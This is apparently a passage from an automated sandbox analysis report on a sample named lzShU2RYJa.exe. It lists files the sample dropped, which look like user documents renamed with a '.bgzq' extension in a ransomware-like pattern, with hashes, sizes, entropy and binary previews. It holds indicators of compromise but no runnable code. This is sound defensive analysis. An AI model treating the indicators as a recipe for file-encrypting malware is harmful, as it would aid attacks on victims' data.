MD5:	83785FD8F472AC7D4C20AD023B8755AA
SHA1:	24D9AC37C9C924B107E1BD35F36629EF3B2F8FA6
SHA-256:	3433E225B7E72D008A402CFA3F615E025D2A94396C6396107932C057DBA704A0
SHA-512:	5ED444A926FD010E1B3D08842CA8A223296D88578A683DDCC52EFF69E1E667019115F109FC5B86CAC7832607624CA0EE5300E56B066933242A9A6E209D21777C
Malicious:	false
Preview:	SFPUSi.]..F@<.....'.....8..Ml7:....2..d.....[.>YNUs..Q3:...\|.....u&GFeY.....5BA..9....BE...3.......L...e.,).<;.XM.w\..##e.j.l.o...k.....B.......$.k...o&8...hX.D..)....Z.Ke.Z.vd..C.....@.....nl.h..H..g...{J..........2..B.IFb?G.q.Z.`..U.@...9...@.......oc..1.........l...e......X. .........M......C.Opa..2v.Xh.....>....,..l....WBww.?.....4..I.w.d........IU@x6c.1..7.Q6A..V.Z.6.t.D....~...eq;..b....m.Hj(....Z#m7..b........\|h.....3..T...z.\|N.....&O.w..T...K-..(dE.rJv.B.<9...J..C..'....p.\|......o........v+....+.I.7....]......Rp9.m"5../....xq.......Sn...:5........K{..x...>.. >.Qd.._.C.....W...........i.....2.`2..Ja...F[..<f...!...y......n.r...2.d6....fSv.XB...#.0...U...}..!R[y....-..q.}...'B...MK^].]z.4.y......h...tT&.<......Fz.m2^\..#x..)../......Gf..B.~..o<......:+1..&.....V`X].3..zK.<n....P..pO.N.y...]...Qj/oF.iK..\|..u...g...9v...E...ZJ...Yu.h...,./&eh.&..$m..X.T..VZ.J.x...CP{T1..u....".2z.C...y..a.....V-{G...Ji".l$7.....V......)[x/...}.F...

C:\Users\user\Application Data\Microsoft\Windows\Recent\SFPUSAFIOL.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861100135423797
Encrypted:	false
SSDEEP:	24:zSxHGqOFSgx3LrdmM708xX0f8BItpBqHCIxWz7EK2Q4QS+M0U03TIX6395F5miDd:zgmqbgRrdR7nmAQvqxmISflMI3TIq39D
MD5:	3C9F2E9BE6EE4AADFB7AED8400BEAFBE
SHA1:	7B6BC356D72FBD79DFEC319D186F6803B15BBD9F
SHA-256:	3C1FCBB2460A28CB56E555B36DCCED5DDE11258436EC8366746FE7078A7EFC31
SHA-512:	552634BDE7DFB4EA22A06E96F72FF4131CC5DD850F5DF21FEE94C6825E6D052B8BA69E0F268A52AE8B2B2E789900AF7CDE23F49DAEA95139A024D8E45BC14954
Malicious:	false
Preview:	SFPUS...>.z. .......a~.Y......DQ..).B..q...A.xEzU..Xe...........6g.kR...t.rH\|..c........../....@]C..T..........'%..V.rC.).......SU......(..jw.Y.r...f~h...qB.Z..d...n.......e...y..\|..c..~...D..w..s..V...k.}.B.Z/........o.SB.Zv.1./.....].hG..!.[%.d.7..a......&j7..Q....+7.....{..=?.Z.s4#....L#D1...o.`.......>....\|...A.%.K..T...\~..Y....)0.>7..C.MY....0.Q..piQ...7..f.......J.{.......#s.G5.73.I:3v.. ......)..?...$...C?W.vV.S.{..P.H..^sc.=.Vo)0........^....>...d.7...yI.L7..v.....0.....]n...d..g..+W8+.*.#:J.9..7E..}...K....V.;+.79.. .t..K..Y$.K.O.....A"..KD..;xz..1.f.p.m...}.....vua.DW.V...`.....+...sP,.P..._[..J...j.5.X....L/.;."_.ns..%..G-n&Mw..../.e;4KZ.X.f.@..k..H@.jC...e.B..'m...>Z_i...n.k...;.. ..\|....!...#.}.....~..7.mD...K....D.....Mw.i.q.z......r.+...\2%.Yi......b.\|.S.].o"D...A..).pa.].7(%...^X........,%.X$..........V.'..!.u".0..PY0...B...W..v.U7.FK...\|S.....]..T......F.+>....kmm.V..`...7..1'V..V.Q..(:.8.TtQ....w....Jh..s

C:\Users\user\Application Data\Microsoft\Windows\Recent\SUAVTZKNFL.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840285232239787
Encrypted:	false
SSDEEP:	24:WMffuSJHOmYAOslkWbblXZqy2+Zu/eCWj9TAEo5v5/SBVbD:19sjuRbbTqy2UuW9Y5B/SBFD
MD5:	B147C6A74719F3D619DD3AA436D27301
SHA1:	1341085453232E0213F53E72674F5FBE5F587D64
SHA-256:	5608F9E4D599FC6D6ED82DE54D8951286140A7FE673ACFC99B3414E8F75A1A46
SHA-512:	C9178E4E04094B70827F102370E69E3570414CCAFC1C2E4C4673304EB936C476587B1D025277584F05950A8428F3982399EF64D61C1C2A4F15232AEF01E67A26
Malicious:	false
Preview:	SUAVT.g.t'-..X..M.\^....'.../.8..7.....A...^.}..0=s.N:.k}-...u2...._.."pGb....Ip....Z.o....]b.......[..0..7.][..N.F..u.X.$.......g.'.;......7.J....uk.A...c...-T%.....L...%....7p..F.]>....c.@&rl.A..z..<t..t;..3...........F{..e......5...p..;.v...[TP.O.".F\|..T......M@.P@..y.zC...z..1.. ...t.......!e..7.........>>....2..B..<<...B...#..)h&...G.lA.@@..`6}~.....p.h..:{xU.....R..S/..b...KhN.W.6.=.....8.....u.S7b#.1...KF...y.._(..Y.......&\).. ..5.....rW....+./...ZMhu.R..G..<k.:y.k(aB...F.n.Au..4&"wa.......U,.T.,.h@.N..S..\.q%.\...j.....n..3\.9w..M'....={..}oH....3...........N...,.............\|fB'.7....Y.d....7^....1$.C}`...t......na{.F.(;....S1J \|t..%.]c`.G..6\j....V..c7C#...F.......s.{..e?z...;....l....w6.H8.........O.$.'...{~.:1.Xxd.."..&._-...P.rv.}..Zj..eaZ..wD.......+.........r.....[`U./..i.>M.XZ.6.:..2F..C..j#..Zb.j....W.....C.....l....@.i;.S.....HB..I4...G0..r.......WZ"KI..~....._C......y.TC..@9/.k..q.d.Lg......T.s'...).)...D..

C:\Users\user\Application Data\Microsoft\Windows\Recent\SUAVTZKNFL.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863011991534209
Encrypted:	false
SSDEEP:	24:ZqHc+Y+pX9MH633TlcfUN6HHw1pM5ZGQeUF6Uk3Wpi+CVbD:ZqHJpGH6np+Umw1pieUF6UkVnFD
MD5:	C895C790AE794A73E36C7D9DF01B7E0A
SHA1:	543700B454172812FB75E7B5C2882505FFB0A0A1
SHA-256:	296F8CD83FF60F2EF0ACA14703D8F168389B8C208DB8685F23AD8602DACE131D
SHA-512:	CD3B8963817631FB6DA512FE3139C0FAE3FEFB80B98F3D106FF7553C71DC95408511FD9BBE276D39B5BC3F44FF1E86CBBE09433883122A7F6E28D2C677D6A89F
Malicious:	false
Preview:	SUAVT8:U$.5.$.....o.aV6..E2...Ks......\|...........b.e...........\...an.>m..4.V..8d3...r.O..S.;7....1..fhz.e....9".3..:b.KDv...aG.1.:.m@...$.$7..U..O..'...Y..m.&.'..1.iR......F2?k@f^..rU..b.N...i..)......8.&p.L..L6C.0.>..m....,N.....W...z...........za..o(^s:.....\|\).B.=.u.^...%\|n...)7.B..p+.z... ..(./...jz...."..R....@...ce1..O...6y....\Kg.\....g.jG ....N.....F.%/My.2..;j. .;=jO..m.a..QR.t./K....):...19...f5V..a._[p.!.,(6.}..3...3.#.e..J...$...6.7.L.\.v.c.. ..........?1..i..d.}...NeH`.\.2:rR..........!.6..y.....d../=..\|.....'.:.\..g......&8..x>x.[.x...;.....b.j.p.n.S...?.}q..4W.o......i..NK...b...._.Wmb....%.....<<.)..]......d..B.(R..y...BVw.d...%........-.....9&..09.Z" ..^..o.}..%.<6h....`..I.+p`.BCU.."..r..\\WV.F.....Y. ..w......6.^^TY.c......}@....#..S..0.......O..6smT&r...'.....".`..q...'..Z...F}...(..FYC8.. ...xq.z..0. G.7..[..?#F.s>..V>...My.@D...{C..j.............2.>g.. Q.... .......Pp....R.N..",gt.1...Z.SM.....-..24.)5.4....`.

C:\Users\user\Application Data\Microsoft\Windows\Recent\UBVUNTSCZJ.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	HIT archive data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871616109649991
Encrypted:	false
SSDEEP:	24:DrEKE5UcsahR9g+s9GhicQ+RkHbWAAcSY+TXWpZQHKrDr4lnkwjugN775Es3OVbD:7EKARixqic5S77QjqZxDrSn1K6R6FD
MD5:	8D0A1AD69859A2E1D0F07712D6B7B5C9
SHA1:	536E5600D423C7BC1C6D6D135D8667021BB8011A
SHA-256:	DFA7F0C988A48BC7B98390935AE7256FC50B3E453C6D8CDFD6905C951C61CF08
SHA-512:	62E7A05E8C81FEE8CFD0815D6E68BBE20F346C040DB7C909FE0E0433DFA60B6957CA00BE8E0A6A7F2431FCDB819811EE638530840969AE0AD19F93475DFC95BE
Malicious:	false
Preview:	UBVUN..}.....DO...\|W.P........R..ZdF.2M...'L...>p.+9u+..l..Fqm.O....i.1...T.%D.B.}.R.....C.s..\..T..vG..L......UJ..C.!....e...L.....Kb.._..%..c...i...I..,......l.K.........^.A\|.L.3^...h.`8._.a..G.hg.}.U\|.,.%...o..F's...:f.).p(XX.E..G...8.tq+..#X.?..M....6.`...h..1..x.?8vn..Is_....xz.....=.b....\|R......p..C.......].P.e..U......&..s%.~..$..U.....rX......rG..l.......xw.n....<..e$.F.Z...^.r...m.L..w;.0....mrk........2.@.x.f..v....Y...5V2.7.G"..PE..g33w/-K.`o3.At.uE....1.....uj..`..$x.....L...q$..0...{.3..;..z....+..q./..?`.H...&V...\|8.J.[P.]h...,..}o+.....L..j.1...7....l..Lq.DO....F.`4..N..&.....w..}..?~.s...tG.t.3'<...I...V.l-B+..T.9...#H..LAV......O.),...A^..~]5.wW...."...:.w(...l`......!-.!...q...v.t...Q>:....MoC...U.C.+..P.&.{D...._.Q.N{...h......:..g...,.@..x.4..E..p.Zt.a... .2SIPv$B...l...\n....Y]*.."./.B.[.rv.\|......W......e..p#.~....Kyn.{.Z!\.2._....J......;.] .H.g....0...:..d...~.$..@:kN{Y.t.):..98y..m..s....n"...u...J

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.png.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8375779758268616
Encrypted:	false
SSDEEP:	24:J5I4aU6t2H46GIAJE0SioyzGQzoqk7rO7YxL14KADB16hVbD:JG4CqGxJDSPyqQBk85KADBIhFD
MD5:	D27F7C05517629E4411DA1822713D708
SHA1:	956E8DA58861405690946315691ABE94746BF8AE
SHA-256:	7F33D21D4EFC7EC5986005A0E5BA1FB43557B05513BD7FE075996A4119BE72DE
SHA-512:	7B45689C4E3DDD9EBDA349BDE48BC90241DEFFD8B1E3CD769B0F9BD8C44F5020D1243FF4716670A72193BF2E8702DD07B09D148527607D0A8D03E2BBACD24A97
Malicious:	false
Preview:	UMMBD....n}Gp.?x....B...;i..(..!.....)M..J.d....!......+.....4......qV.fW..<..~.x_9..C.\|.F.........X.gw..#...C..."..kv..........f.Ug..6%....`...T..j.)..'/.n{...?.....,..@WW.h.....6]]p.../..\|..~%..$d.h......f.H\|...H..f.F.r......Ax.r.1&.....}.[...........S.....#..v...p4q.)...`..v.......Di^.P......+...x.M..Z.x....z...H.Y..L+.....(......p0.oF......K.\H...+...........Yk.5.T .E..{3..c........h..Y.Q5...<{2./.{A....../t.....Q.g.......V......#XB.H....w..T....+.P.JK...K8K.9v.....">...6PA.......o.5..J......z..Sq../.........2.Q.........Q.d.^.qS....S...M(2N.j8..T.0Q...z=.re6.V.~l.......o..P.....M;.....DI.>.D.r.C-:.K..r........2(.....OQ.....\..bc._b!r~3..(B..{f..'.z....7 ./a.P....CM..o..\\|...S....,..9.4X........:.IJP.y.h5z....!G.e.D.\|iu.j....P.~..g.>.o!.za.?...DI.j.>.r-.E....; Fm.&s.~d.N...!^.9<e.....p.....^U..C.Y........14o..d."..j...... )..(.$.b.fC...3S.3......$...\|.]..x;X...^.9#.%... g_9..N.>=z.\`..L...=.}.......Y+.m@..\|e#..Md.2..[......m.3...1.Q:.s....5

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8600213228450295
Encrypted:	false
SSDEEP:	24:ox5s4o7DcQQjenZ0t5ttrfPVg1tXIxGimNqFU/oWOfgdVbD:Gti4QQyZWtlP1VFULOfgdFD
MD5:	A04268B32BD369B9DEAD6CA99C3758F1
SHA1:	8176F587402B6B5B452B8ADE3B52859D33F858F1
SHA-256:	C571769F3B8DB6F7C59ABA1B85D5D592C6149CAF86D9FBFD724ABF76F612E2E2
SHA-512:	D13EFCB90BD88096F3172EE67E1CB46DBC083E9EE083130546C55AA84B4B931DEEFB89583E207D4DC84F84470DD25BFEF20DFD7DC01D8A3FEBC55DCECBED34E1
Malicious:	false
Preview:	VLZDG...c.q@..&.4.6..P..<.C...K2...S........>.(.v..cR..!..u..p....A..F....(d..s..-.-...a..GVOiL.4.Q!FC...@6...~.A...T.7W.f]...G....._....Ib.8r......L..(.>y..:.Z..5..x{..?......b...G..l.....S.Y.".g.B.....X..h...\}..@]p..J..Pz?..4...T.Q.p.n.,E......:..W4`)r.,.[..o.w@\.k..#.K.......S.....(.{...8.8k.u.t`.I.hW..~6Q5.......s.............!.m..../.....3..iUp-H\|.....l~E#R.:.t.W.KSl5z.........J...]p.>..G.{. ..i..`].....y1...}.e9......66'....M2b......+e_W...."h.~......$.Jv....w.hE.3]@...j....=...........'._.TX.\|.,...K?o.9.~<u(;n8V).....:.2Q.........X...g...7.y%.S..`r......Dw[.tz..~e...u{s.N..6....`.:6...d..~G.>..{c{.kq...#.R...W....E..U...}t1..U.NY{..6G..S..."....hC.l.K{...u.@..Q.c.1tA...o..KbF.>X..!.)8ag.pe.B....`..v`(6.).t..OB...n{.f...,....osMH..i.8}..lD.....Q....I.-.#._@.1.. ;....(.F!...#...^%h(..&..*).`.^.Y.@..h.ESTg..cv6>.+,-)V\.].........L0r..<:5G..`.<.Y...PL.H..#...4%..M..x..\|..r.p.Q.vx..&?....U....V...Z.Q.:F.jx........Q.0.+w...y..U;3.t....

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851596041313514
Encrypted:	false
SSDEEP:	24:dlngPJPfvKbcZGu8BV45HdiOl5KKUAVSyDXupW5yFzJXNrIxjJ8HOBN0BWZOcLDR:rn2fvMvV36H4OPKKU03W1XEjJ8HOBN0i
MD5:	A9D5C9F8A1E1D4335DCCDB11DA9D6435
SHA1:	7B414CB23F583BDB64FBB432525B9FDA0F30080B
SHA-256:	DE69ECF473685E6A4045C373D7A4E9DD2A427C98371D3338D4B849D87B9013FE
SHA-512:	DEF52E5A3C51C1D84342A4D77D39EF43FB4835465E75F111D63D413CB54BD14DD902B1DF369E8BCA149693240230C21C25C459F3F68EF5AC27DA3CF683533614
Malicious:	false
Preview:	VLZDG...}]....F.V._].7...pE..s.....[H.1.....}.,...'.ABU8..w.<k9.......]8=....Dj..T...S...cP.t....8.....u:".=.4.<..=..........Y..?.......s...;w.....Q.}Z..w..5.KZ.D#...gJ...G........6..N..v..Y.......}e....N.u.2.m..._.V.9. ...h8.WK..e9\|...<.@.3.......Gm.^DGQfN......{Q...]..).&....KZ.W...(.....M..n>..v.P.O.@.m`. .....1...^..Rh'C.Mn'c..V..Z..J1..X...L....>@.H...w..BY.}].`...0^..........3}YIR`.NU.8.Z.T.U...A<_..;..M....\P....`.\|.H.h%..1Z..c.}y.p#.b....&.....^V.U...4.a...yWd..Y6.@.).t..`.J....;.I.\'.!U.z.=.v...U.^.r.+......co./..,.Q9..:..[..KN.:y..4..4..].>.k...A.(.u..mp....a....J.....d.2.........Ro..-..V ....l.........5Q..8..}U.ZN........eD.c...0..........O.......K.O.H...!.]..,....s.i....B{...J.A,v.;q>....v.?r.,H.M.\|~..B..?..^....e>.*.k.......z.Pw..<.'...?..t":..%..........7,.v..'Ua...JG4.wh.~.1.I..z(.D..k...\K......4....=..).q.#.D..f.....9p.{L,e..e:q.r..S...N. =..6.....#...q.N....-.G....8`...)....S..m..qab..90.......s....xp.....$0...

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.docx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.859071698018525
Encrypted:	false
SSDEEP:	24:6odt0tzmJA0GpJAt1aR5YT4ENa9M5Dy6I3R9zC6VCReBwYVbD:6odjARoAR5k4EI9M5DydQEjFD
MD5:	48B0EA5D56219BF594D097783310C3F1
SHA1:	656A15A5BD48BBD4355727D3DFD35BD3B46189D6
SHA-256:	17A4F0DDC285782A02A1C09A1018DFF6C084FC04CD19D29832B8D9657B464961
SHA-512:	A075A64EA5DFF8CA788FE2C36D7891D35E5FE3C21E4CE315E6210B05D57A74395C7886F1A870CF1B34CEBB05D626288A68B7E5F625EF55F1B31CEEBC7DF29179
Malicious:	false
Preview:	XZXHAr'.vuK..l?...ot..`...6...0..j.....Z{q!. .!4........fw>.....`i.B..+.k/....F./.K../.4c.....FuM..$j.Yx.\."..c.q8.Uj..\..../.....R......J+.b........ ...o.O.1..e...D.ha2A....S.KQ....ff,...qe.NY.<..<)....J.L..rU.r.<@.\|...U.....WZT%/..=......Ep...k.y9..V.....;.......g&YC97.K.hf9.w~..[d..9.Y.:c.(..o0......`.p....p.R.....Z.....2._m......(.... ..&..8.....P..Z.....A....D{..L..~.......=;.......T.E>.>....#U.r..44..R=EN.Q.X....@.l.2..].6'hH.."..:.T..GH.P.;.;...-.....).-...\j...~)F..........g=.. x~.........5........J.;.,....@4..zy..;Wr'...p..\|./....E....Q....W.Ma..3..{.pr)j.......P\|P....Q#..Jm.i..(.\....-..VM.Y<.?J.sO.....B.)E..".....(.[{........".6aL..y..i...X_^.Gb..q..0.4.1.BW.'...].....U.......hOd....v.... ........F..d"=.>.p..o...o...J].~Tj.i-...d."...g.#&.8H.x....{Gf.LQL..x)...8....D..M+...h.i~2`....RFq..h...zA...,...Q..^..?...>.X.P(........q....(..!N.H...8...>J7`'Ar/U".)56..Fz.+.....+".....-!..?..(.^.8.F..fd@....fH.......1.~.kI

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862591928983406
Encrypted:	false
SSDEEP:	24:CoJYv3xNnpkYvFWdxbSo83Uhu0/5eDp/BpDK6GgULKLepEA24ecPxk3tr8XAzZVX:CoJaWYtWHhhGDp/BNK63/LuETgxk3t8g
MD5:	BC1C7F2B7CA3D5A34BA2C4CA8D3ED71A
SHA1:	2A4310B0B6661E2F3966FB64C5992C38418D2D16
SHA-256:	0144DBF9836F0E04A07261AA6906D84F928AEEF2B92823ABC30FE5AE45197451
SHA-512:	2D7C413A6FCD1BB95BF707021811AC1ED230314999441756967582A5B27B6BE9FBDFACF1CC280119C0AB6BB43ED3798718F0FA59A1D391C7CB34C9C11BC59013
Malicious:	false
Preview:	XZXHA.E.........0...}.c..hY...e)d(.n,..S.........`e.......v@a(.......>.sY. ..#...$qO.....hpA.`.&h....(.x.R.....R.r2..%..K.n...f:.....42.L.Y..;....5......../0.X..1DN40..W.N..eR[....,..CR...QY.v....!2. ...Z..N}.....#jg/..S<.6.X...!{`oWs..)F.-o.I.O.+~RDQY.r\|.E...X"H._...8.3.E`....T...G.`.T\z2..G......Jo.....'..i..I..2E0....@..b....}>.gu.a.`..l...h..$.i.O..H&...._.Cp[F..3Lu\|..._.5./D.5.^......hS#..#..r....P.....}.........-[.....~l.U..N...D&.I.N.@..CS..~P:.].qc..h.J..\|....4`X.J5....^.Cc...m..H..c..gpz..M....-...Q1m.,."....e.R1.......f..... ..,4AH.N......a...._.........".0...1Wt.Z..,.1?..&.......("....3.b..Z...............<5..`...>....k.=.m.k.-...R.O......B.d..Y.(/....p^.}..Z....../.....A....^...q)...OU...V.....%. .Iu.~._.XM.......H.......f.&..(r.t..M..<:...m..M.<.....<d...N.x.~.m#...RmVnuxL.z...Q-v..s..G........T....n.......z......f....."L..P)*".?..t....".L.cK.&.z...I.d..~WMm .\|.@8.m...~nt..AT..v.]n........]pK.....w...#.....`......0.B.

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.jpg.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849485140883244
Encrypted:	false
SSDEEP:	24:VyJ4CF468LO0gkiwGTLqGNysrfZERJjgyZh2e05wrfsFACFV65XKrfpcWVbD:iFxN0OwCjORNNIePYFACFVEXM2WFD
MD5:	904C2B8704C3016D0F119193CAED9FE5
SHA1:	AB4059CCEDBEA9D99BCA93C251B1EAC33BA77022
SHA-256:	569F1BE98CC327215C3759D7B054E632285141AB28B4B9FFC6E66567D5D7A5FA
SHA-512:	BB2070C2DEB8245200EA4BFB3838C1BF9D362E8A80A28052B8FB0E6B3A5F409C1AEA807DDB0A99052BB430750B4805E98BC50DEAC93CF2A1C625D0B1ACBF648B
Malicious:	false
Preview:	YPSIAk.d..A.j@A.ld..!...9.v8..........E.......'+.U.A.b{.T.a...PiFu2C.9....N.....x.....&.mPH..n.n.2.9..Q..aB....hdAo../..2.....R....{..~.@i..[..\|x9.'..W/d...b86..A4vy....u.........jV.J<.<V}Z...k.H..-v...Q.Dya\|.d.Q...C.s..6.4$...i...q.._T...8..M...#.+.l......).A.x.)..'..@...@..'!....E....W.q.E.,xg..og[...N..+.!.>8..w.z....J..."(.....E..$..bt.>T...4..U.&.....c..$`.W.z.......J.ov.....d...kf...E......JF.\&..f.W..&.......K@..W9`.#.hJ.#.e..H...a..T.....-6....<..~.....u_^.P..J./..v.o#.O..I1.y.6m...H......g:.\G..<.....I....@....!..]..k}.W&..kk.nf$.m..@`....j...V.%....6.R..qd$Y...Q.$1...&2..m...K!.T^.T.Oo0.,...^.....s..$........\..a.?h..\..S..^.M.....I.....G$......T.t.@b9.ha.....g..K.....yab....{Z?....}..O..A......\|Za4........E.,.....o>.y.V......;e.".0..Q.~L....7$.\'uU.......$N..'.\9]Y.. .....%.Vud........N..s..B.......\...D7D....].....,.@.+.q. .!\|V.....d..Ci.=`.4V..\pv.]H.{..B............\|Ai?..\..c0<yW;......%`c$..\.+k.#"r..&.n......)I...{

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85374470350161
Encrypted:	false
SSDEEP:	24:AULf/MZBiTy3cp95Wo9qcq+hKeS7mIJOh7CiXsdvf9nFXoJiItXJGqUjVbD:Aq/M6TAqJtTIJnicdNFYIcX8qcFD
MD5:	6A86AE772437BB2FFDC4A29876DC5234
SHA1:	A2061E8E00D6B6B66C87C06829029957EFAD84C8
SHA-256:	5EEA0C0B3DA6323FEE356A3476A10AFEFD3E5B3E7EE20612624DB8E0EB54D791
SHA-512:	29C68F0C801E7824B9D295DA80AE7938360B4E09DCD863629A5CF3574BCC02A18435E42A52AD5532AAF7453CEEFDF49C37B6C0DBF97FACAAA2F5DD545B246759
Malicious:	false
Preview:	YPSIA.g.z. ...z...rF+C.....s.h....V...k......>..'..E.<Q...g.r.....c%.....,...(..tbs..W._S...!N[.w.X.(p8....\...w...n.#.....u.F..>sh..&...f]..&Il..YRG.].hi....\....._L..1G.`.j..C.3\|.3..zo3.(...{.K..= ./..u.vb.7...........+U.......o..~Z.<~.eWI:..uZo.^.~u..G......Ip.....f...)...pa.[.QT..I.>L..Mq!...pXN......7.U.....$...&....K..............T.3.4..J..?........wE.....^.l5ML..n.kV.{5....P.r/...e..P.f...C. (D..jE..\|....>k...C.&.^.......c.....\. -X..-<..W..............>.2..u..a/...YV.&...L..oGQ.S.xY.Nw5+....O..w..w..y..\..CF..u.<......5......\|gi...,i.......4.]d.....M..H...G.../"N.(.....;.~o......#.uWJ]..q.S(v.....(..h ..Q.....}>,....'...{..2}.4.........H...M.r...S..&..l.Y.m6Mt>/1N..z%.y:.....7.._.+B...U+`.,.T....\|....<..3....,._P.h'.... .....`0...n..v.lz....6.i*...^;.....@...........o..,r/0+X...1..v.....F.-X......]'.'....wF:f.@..V..y#.F\|CM..3..V.(>..N .Jv3S HH>.`\$.a..:Sk....~J....}.......H..^:.U.K.."e..r.b%M.L.%..3.......

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZBEDCJPBEY.png.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8513695199966085
Encrypted:	false
SSDEEP:	24:yQVTaGSQqBr8cw4CBIlwvJy4LP18l67mwf5/jcoSROyFE4ALoEeTmA4eUu+sKVbD:yQFawE8cF0c6P2GmwB/jERq4AHKdd+d9
MD5:	371704399AEF7B70173597D423A931D3
SHA1:	505DB751F3254B15CEE3586A84D80E36F895B009
SHA-256:	7047F5F82A99D745D9DA10C400F40DE69EACDC4B10C9C3A3E3D8B6B4D945AF83
SHA-512:	C331A9B00DB0E0621EBDE9CCE3AF2D4AFBEE83B7B3524C13E3C177ACE1158C930DABB040E991F50046EA65650D0D6010CBA2122E26487445BE93EB1FDCA7EB2A
Malicious:	false
Preview:	ZBEDCV....F..0.d5.`.\...p.}!.....A8]Oty.....8..+....w.p..>QH..D........'.DG.x..z...OV...Yr..zxs..Ev.].<1...?..m.....vG2.PgoRX..../n....0.EPV...^..~...........N..6.].........x?0M..}Z:..zq..N.&..K~.X.)D..b....O...T./.....)o....@...{o.3...1.....I.....$.a..S...&....u..#..@...B.`9h..u.VF...s.@ua..'....b.....\|n..D..N...At"\|..YbE..,........Z..p>.\A.GEs.[_.Y,..#%<!.V...".D.[.._.,L..^Z.hX.C..... .../...y].t.X...(.)s.w..8.31..&..I.?....,..i..;......[.....Z1...V;Wq./..<....L0.....n)6..<z.+....X}.....8....=.....@.E.Tk..u..2..(....F.]ggfv............[..F.~K...HVC3b.d?..B.m..l.'.}`<S..s...m.$0.E.&..9.G....<.w.......#.k\.R.F....>.\...H3op M......./.2G...ESC.....O.x....b@..7.....kT...M.CTb#...!.....Am..6".D..V.E."..Y..%.9..mK...@f.R..l..2.....7...s...0............,..p+jAH...f....l.4<3.9......5CKV....I3d1......J_.N.r..e...9..@N@iZ.nE........u\.I.z.FS...4l,...n+........_a....C.t.$...............lw....$...A...$.)7.$&....5+.2.k....:..j.(.@U?.H

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZUYYDJDFVF.png.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833409502652676
Encrypted:	false
SSDEEP:	24:DYUkDvFcKLsst+UbJdfwx6DhA/O3uUJJnpfWlHBNEtNXlJzsOi15nDkVbD:DYDv68JdfwwtHbVWlDeBnzsOE4FD
MD5:	A2BA72434116EF8B16C3A2065804028F
SHA1:	69E93CEBCDF4A0A8E6D5150BE7BA820519401067
SHA-256:	F6F485DBC0AC1737E2FBD4B553A9C635AC90B609D1FC12B277A298EFF6561ADE
SHA-512:	F094C6E53C27C94185F546E5E693007FC23A6ED6F45ACDB8F17A52B0E9FFFEEC983B076BB829D6351BABE1DAAA07686D08CDA2CB965A2DC941F2CC258C9B253A
Malicious:	false
Preview:	ZUYYDb.J..sr........\.N..?...QC".g..}...Wc"...of-..;..L...p.{\.d.[..Q.(..l_.".`.]...4.e.vL....f9.......k.J4.w..'...p[e..S...X.`..........P....,j....7.4.'..Fi.a.N.1..=.-r..~.Q........v..a......~ .... sD..L..a.....0.....)......!?..x... .`....'..M."'.z.l{.g.(T..LWs.....@.N...6..%.y.z5._.Uv.A.V.r....X.B`~x:s......>........A....p......."..wl..;.i..M..C....D...0....@...1moH.Q.....d.S...Zw.T.y._.>o......C.2.e.....,rD...a.......BRs\|@..v..p....g..V.;...9.a..E[.1N..mNbL.z...a...>..4!..i....L.J.w.......'on.Go..d~.@k...;.R....p....9...B..0...9.Nr.......E.:..cb2=.m.7...R..nA..x.....C..J.X......o....P.....o.....<0...S.C....(.9_v...^..,>+[..,3.....-y.....pF....F5.l...m..J.j=..V....o....;'Z:..U.u...Q.g.z5.7N..... O..6..l.X...........1.{.f.>..L=...4O4.pt.T...+.x.~1...o>.K...^..,R.j.m.U......Z.8H.P.]....?.....l.@If.F.-y......k..`.]Vn.)..a..FxC.".[.E.1.#`.....D...O5#.Gx....L....V..jX1o.T&^.V...2.C.1e.v.;aw.~...J.]M.....5...[.9.....s..N;.w.kf:....

C:\Users\user\Desktop\DTBZGIOOSO\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852298791156865
Encrypted:	false
